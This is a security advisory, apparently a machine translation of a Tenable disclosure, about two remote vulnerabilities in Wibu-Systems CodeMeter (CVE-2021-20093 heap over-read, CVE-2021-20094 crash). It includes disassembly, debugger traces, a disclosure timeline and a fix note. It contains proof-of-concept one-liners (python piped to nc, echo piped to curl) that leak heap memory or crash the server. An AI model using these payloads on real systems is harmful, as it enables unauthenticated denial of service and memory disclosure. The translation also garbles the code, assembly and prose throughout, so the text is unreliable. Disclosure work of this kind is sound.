多个漏洞Wibu-Systems CodeMeter
至关重要的剧情简介
cve - 2021 - 20093: CmLAN服务器加密消息缓冲罩上
的CodeMeter CmLAN服务器允许从远程客户端加密的消息,如果消息体以“\ xA2 \ x05”开始。在生成响应时,服务器从一个基于堆的0 x100字节的缓冲区拷贝数据到输出缓冲区在响应中发送。复制数量由客户端控制。未经过身份验证的远程攻击者可以利用这个问题来揭示堆内存内容或崩溃CodeMeter运行时服务器(即。CodeMeter.exe),这取决于大小的消息发送到服务器。
下面的代码片段显示了漏洞:
CodeMeter。exe 7.20.4402.501
[…]。text: 0050 fb0b lea eax, [edi + YS0001。buf);堆0 x100字节的缓冲区。text: 0050 fb0e推动[edi + YS0001。bufsz];attacker-controlled副本大小。text: 0050 fb0e;缓冲罩上- >信息披露或DoS。text: 0050 fb11推动eax。text: 0050 fb12 lea eax, (ecx + 8);输出缓冲区的响应。text: 0050 fb15推动eax。text: 0050 fb16叫_memmove […]
可以使用以下PoC披露堆内存内容:
python3 - c”导入操作系统、结构;大小= 0 x200型;os.write (1 b 'samc ' + struct.pack (“< LHHL”,大小+ 2 0 x71 1, 0) + b ' \ xA2 \ x05“a + b *大小)”|nc| xxd 0000000: 7361 6d63 0802 0000 7100 0100 0000 0000 samc....q....... 0000010: 0000 0000 6800 0000 0000 0000 0000 0000 ....h........... 0000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000100: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000110: 0000 0000 0000 0000 62cd 7e97 3a4a 0d00 ........b.~.:J.. 0000120: d892 be01 90ef 4e01 0000 0000 0000 0000 ......N......... 0000130: 303b bc01 303b bc01 0000 0000 0000 0000 0;..0;.......... 0000140: 403b bc01 403b bc01 0000 0000 0000 0000 @;..@;.......... 0000150: 503b bc01 503b bc01 683a bc01 0000 0000 P;..P;..h:...... 0000160: 0000 0000 0000 0000 0000 0000 9002 0000 ................ 0000170: 0010 0000 20e6 bd16 33cd 7fc7 114a 0d14 .... ...3....J.. 0000180: 0000 7177 e86b c500 6e74 646c 6c2e 646c ..qw.k..ntdll.dl 0000190: 6c00 0000 0000 0000 0900 0000 0f00 0000 l............... 00001a0: f02a 7877 302a 7877 502a 7877 0000 a076 .*xw0*xwP*xw...v 00001b0: e86b c500 6b65 726e 656c 3332 2e64 6c6c .k..kernel32.dll 00001c0: 0000 0000 0c00 0000 0f00 0000 0000 a076 ...............v 00001d0: 0000 a076 0000 a076 0000 a076 0000 a076 ...v...v...v...v 00001e0: 0000 a076 0000 a076 0000 a076 0000 a076 ...v...v...v...v 00001f0: e86b c500 0000 0000 0000 0000 0000 0000 .k.............. 0000200: 0000 0000 0000 0000 0f00 0000 e86b c500 .............k.. 0000210: 0000 0000 0000 0000 ........
概念验证
可以使用以下PoC崩溃CodeMeter运行时服务器(即。,CodeMeter.exe):
python3 - c”导入操作系统、结构;大小= 0 x1000000;os.write (1 b 'samc ' + struct.pack (“< LHHL”,大小+ 2 0 x71 1, 0) + b ' \ xA2 \ x05“a + b *大小)”|nc> /dev/null python3 -c "import os,struct; size=0x1000000; os.write(1,b'samc'+struct.pack(' > /dev/null Traceback (most recent call last): File " ", line 1, in BrokenPipeError: [Errno 32] Broken pipe
下面显示了访问违反缓冲罩上造成的异常:
0:021 > g (19 d8.8e8): c++呃例外——代码e06d7363(第一次)(19 d8.8e8):访问违例——代码c0000005(第一次)第一次异常报告任何异常处理之前。这个异常可能是预期和处理。eax = 02 c27a28 ebx = 02 d2f920连成一片= 00 fefa28 edx = 01000000 esi = 01 c38000 edi = 04 dc7600 eip = 008 cf81e esp = 02 d2f8b8 ebp = 02 d2f938 iopl = 0 nv了ei pl新西兰na阿宝cy c = 0023 ss = 002 b d = 002 b es = 002 fs = 0053 gs = 002 b英语= 00010203 CodeMeter + 0 x1bf81e: 008 cf81e f3a4代表mov字节ptr es: (edi)字节ptr (esi) 0:011 > r eax = 02 c27a28 ebx = 02 d2f920连成一片= 00 fefa28 edx = 01000000 esi = 01 c38000 edi = 04 dc7600 eip = 008 cf81e esp = 02 d2f8b8 ebp = 02 d2f938 iopl = 0 nv了ei pl新西兰na阿宝cy c = 0023 ss = 002 b d = 002 b es = 002 fs = 0053 gs = 002 b英语= 00010203 CodeMeter + 0 x1bf81e: 008 cf81e f3a4代表mov字节ptr es: (edi)字节ptr (esi) 0:011 > db esi 01 c38000 ? ?? ?? ?? ?? ?? ?? ?? ?,? ? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38070 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 0:011> kb # ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00 02d2f938 00864759 02d2f954 02d2f978 8f57e350 CodeMeter+0x1bf81e 01 02d2f98c 008640ce 8f57e314 01c2e8c8 01c56150 CodeMeter+0x154759 02 02d2f9c8 0089715a 8f57e010 01c2e8c8 00000000 CodeMeter+0x1540ce 03 02d2fb2c 00737f0c 00000000 01c28ff8 00737ee0 CodeMeter+0x18715a 04 02d2fb44 008df526 01acdba0 8f57e1a0 008df4ce CodeMeter+0x27f0c 05 02d2fb7c 76a1fa29 01c28ff8 76a1fa10 02d2fbe8 CodeMeter+0x1cf526 06 02d2fb8c 77777a4e 01c28ff8 1682050f 00000000 KERNEL32!BaseThreadInitThunk+0x19 07 02d2fbe8 77777a1e ffffffff 77798919 00000000 ntdll!__RtlUserThreadStart+0x2f 08 02d2fbf8 00000000 008df4ce 01c28ff8 00000000 ntdll!_RtlUserThreadStart+0x1b
cve - 2021 - 20094:远程DoS CmWAN服务器未加密的消息
的CodeMeter CmWAN服务器允许从远程客户端加密的消息,如果消息体以“\ xA2 \ x05”开始。在处理消息时,服务器调用一个无效的c++虚函数,导致异常导致访问冲突过程终止。未经过身份验证的远程攻击者可以利用这个问题崩溃CodeMeter运行时服务器(即。CodeMeter.exe)。
下面的代码片段显示了漏洞:
CodeMeter。exe 7.20.4402.501
[…]。text: 004 fb799 mov edx, [ebp + pYS0083]。text: 004 fb79c xor连成一片,连成一片。text: 004 fb79e添加esp, 0 ch。text: 004 fb7a1 cmp (ebp +缓冲区。cbData],连成一片。text: 004 fb7a4 cmovnz连成一片,(ebp +缓冲区。pbData]。text: 004 fb7a8 mov eax, [edx]。text: 004 fb7aa推动交易所。text: 004 fb7ab mov连成一片,edx。text: 004 fb7ad mov eax, [eax + 28 h]。text: 004 fb7b0叫eax;0095年f758为CmWAN服务器[…]
代码调用虚函数的偏移0 x28 YS0083 vftable的类。然而,抵消的字并不指向一个函数的代码部分。相反,它指向某个地方(即。0095 f758)在一个只读部分,不包含代码。
CodeMeter。exe 7.20.4402.501
[…].rdata: 009177 bc常量YS0076:: YS0083::“vftable”dd抵消sub_43A3B0 .rdata:公元前009177;公元前数据XREF: sub_444CB0-B9F9↑o .rdata: 009177;公元前sub_43A3B0 + F↑o .rdata: 009177;公元前sub_444CB0↑+ 4 e o .rdata: 009177;公元前sub_465CA0-7C2↑o .rdata: 009177;公元前sub_465780 + 16↑o .rdata: 009177;公元前sub_4B9D00 + 156↑o .rdata: 009177;公元前sub_4BA590 + 68↑o .rdata: 009177;公元前sub_4D50C0↑+ 6 d o .rdata: 009177;公元前sub_4D5270↑+ 7 d o .rdata: 009177; sub_563D60+4E↑o .rdata:009177BC ; sub_563DD0+53↑o .rdata:009177C0 dd offset sub_54BA30 .rdata:009177C4 dd offset sub_54B820 .rdata:009177C8 dd offset sub_54B920 .rdata:009177CC dd offset YS0306_decrypt .rdata:009177D0 dd offset sub_54B430 .rdata:009177D4 dd offset sub_54B710 .rdata:009177D8 dd offset sub_54B550 .rdata:009177DC dd offset sub_54B540 .rdata:009177E0 dd offset sub_54B3E0 .rdata:009177E4 dd 95F758h [...] .rdata:0095F758常量YS0063::“RTTI完成对象定位器的dd 0;签名.rdata: 0095 f75c dd 0;偏置的这vtable完全类(自上而下).rdata: 0095 f760 dd 0;构造器位移的偏移.rdata: 0095 f764 dd抵消YS0063 RTTI类型描述符”;引用类型描述.rdata: 0095 f768 dd抵消YS0063::“RTTI类层次结构描述符”;引用层次描述[…]
最终的结果是异常导致访问冲突过程终止:
(1 ef0.1264):访问违例-代码c0000005(第一次)第一次异常报告任何异常处理之前。这个异常可能是预期和处理。eax = 00 c6f758 ebx = 01 d10138连成一片= 01 ce8da4 edx = 01 ce8da4 esi = 01293 a9c edi = 01 d11ed8 eip = 00 c6f758 esp = 02 e6f6f4 ebp = 02 e6f804 iopl = 0 nv了ei pl新西兰na pe数控c = 0023 ss = 002 b d = 002 b es = 002 fs = 0053 gs = 002 b英语= 00010206 CodeMeter + 0 x55f758: 00 c6f758 0000添加字节ptr eax,艾尔ds: 002 b: 00 c6f758 = 00 0:009 > kb # ChildEBP RetAddr Args儿童警告:堆栈解除信息不可用。后帧可能是错误的。00 02 e6f804 007 ef5a5 c003de67 01 d10150 01 d221f0 CodeMeter + 0 x55f758 01 02 e6f844 007 ef9c0 c003de5b 01 d10138 43697000 CodeMeter + 0 xdf5a5 02年02 e6f878 007 ef36d c003deeb 01 d10150 01 d10138 CodeMeter + 0 xdf9c0 03 02 e6f8fc 77753 bb6 77753 00000000 77753 CodeMeter + 0 xdf36d 04 02 e6f918 008 ee6a3 01270000 00000000 01 d0bb70 ntdll !RtlFreeHeap + 0 x46 05年02 e6f92c 008 d9a7b 01 d0bb70 00000000 01 d10150 CodeMeter + 0 x1de6a3 06年02 e6f948 00863 cc2 01 d0bb70 c003deeb 02 e6f99c CodeMeter + 0 x1c9a7b 07年02 e6f958 00863生活01 d10138 00863 ce c003dfbf CodeMeter + 0 x153cc2 08年02 e6f99c 0089715 c003dc83 01 cf37a0 00000000 CodeMeter + 0 x153e6c 09年02 e6faa4 008 edf63 01 cf37a0 01 cf37a0 01 cf36d8 CodeMeter + 0 x18715a 0 02 e6fb00 00737 f0c 00737 01 b93480 00737 ee0 CodeMeter + 0 x1ddf63 0 b 02 e6fb50 76 a1fa29 01 b93480 76 a1fa10 02年e6fbbc CodeMeter + 0 x27f0c 0 c 02 e6fb60 77777 a4e 01 b93480 160 e095a 00000000 KERNEL32 !BaseThreadInitThunk + 0 x19 0 d 02 e6fbbc 77777 a1e ffffffff 777988 fd 00000000 ntdll !__RtlUserThreadStart + 0 x2f 0 e 02 e6fbcc 00000000 008 df4ce 01 b93480 00000000 ntdll ! _RtlUserThreadStart x1b + 0
概念验证
可以使用以下PoC崩溃CodeMeter运行时服务器(即。,CodeMeter.exe):
echo - ne ' \ xa2 \ x05 \ x00 \ x00 \ x00 \ x00”| curl - m 10 - h的内容类型:应用程序/ x-wibucm-coreapi——data-binary @ http:// < CmHost >: < CmWANServerPort > /卷发:(56)失败当接收数据从同行echo - ne ' \ xa2 \ x05 \ x00 \ x00 \ x00 \ x00”| curl - m 10 - h的内容类型:应用程序/ x-wibucm-coreapi——data-binary @ http:// < CmHost >: < CmWANServerPort > /卷发:(7)无法连接到主机
解决方案
Wibu-Systems 7.21发布了CodeMeter,修复漏洞。https://www.wibu.com/us/support/user/downloads-user-software.html
额外的引用
披露时间表
4/21/2021——漏洞发现
4/21/2021——站得住脚的问(电子邮件保护)安全接触
4/21/2021——Wibu支持创建一个使用机票的机票和问站得住脚的。票被拒绝访问。
4/21/2021站得住脚的要求一个电子邮件地址联系,指出无法访问的机票。
4/22/2021——站得住脚的问(电子邮件保护)安全联系。
4/23/2021——Wibu通知站得住脚的联系(电子邮件保护)
4/23/2021——站得住脚的报告漏洞Wibu CERT。
4/23/2021——Wibu承认。
4/26/2021——Wibu繁殖问题,表明他们正在修复。
5/03/2021 Wibu发送草案咨询,问站得住脚的顾客如果Wibu可以披露问题在不触发站得住脚的披露。
5/03/2021——站得住脚的告知Wibu,向客户披露将引发公开披露站得住脚的。
5/25/2021——Wibu股票β固定版本,要求成立确认修复。
5/27/2021——站得住脚的证实的证据概念问题不再工作。
6/15/2021——Wibu释放CodeMeter的固定版本,7.21。
风险信息
成立咨询ID
- 2021 - 24
CVSSv3基地/时间的分数
9.1
7.5
CVSSv3向量
CVSS: 3.0 / AV: N /交流:L /公关:UI: N / N / S: U / C: H /我:N / A: H
CVSS: 3.0 / AV: N /交流:L /公关:UI: N / N / S: U / C: N /我:N / A: H
受影响的产品
Wibu-Systems CodeMeter < 7.21
风险因素
至关重要的
咨询时间
6/15/2021——咨询发表。